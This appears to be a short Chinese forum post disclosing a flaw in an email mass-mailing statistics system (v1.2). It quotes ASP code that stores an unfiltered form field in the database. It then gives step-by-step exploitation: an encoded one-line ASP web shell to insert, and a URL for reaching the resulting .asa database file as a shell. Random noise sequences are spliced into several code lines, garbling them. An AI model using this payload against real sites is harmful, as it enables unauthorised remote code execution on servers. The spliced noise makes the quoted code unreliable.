铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

IF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
'略
2 n% F" r9 i$ v. oIF Request.QueryString("Action")="Add" Then
/ C5 E4 U: ^1 x; N* g& bTname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
7 M5 Z" c% m& Z  W7 E% HRs.Open Sql,Conn,1,3
Rs.Addnew
4 U+ W# [5 p0 x5 c( R6 PRs("Typename")=Tname
'略
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
5 [! Y0 L" S$ v" O4 mRs.Open Sql,Conn,1,1
'略
6 K+ Y6 _+ F, R- w' w7 B& q%>

! b% p: `5 F- m. w; n8 z

3 I. E: j  G1 g4 e6 w  }没有过滤，直接写入数据库。

$ D5 D9 P' v3 V利用方法：

插入：┼攠數畣整爠煥敵瑳∨≡┩>
: ~: z) \2 Z# v! s8 i/ {

2 J  b. U8 b' S连接： http://www.xxx.com/###tongbaner.asa
. O$ n( M& ?7 \/ J7 G7 \: N: p'默认安装文件：
4 R' w5 [- k& P: Y  M9 I'install.asp
+ k- J; z: f' _- ^; F) T/ w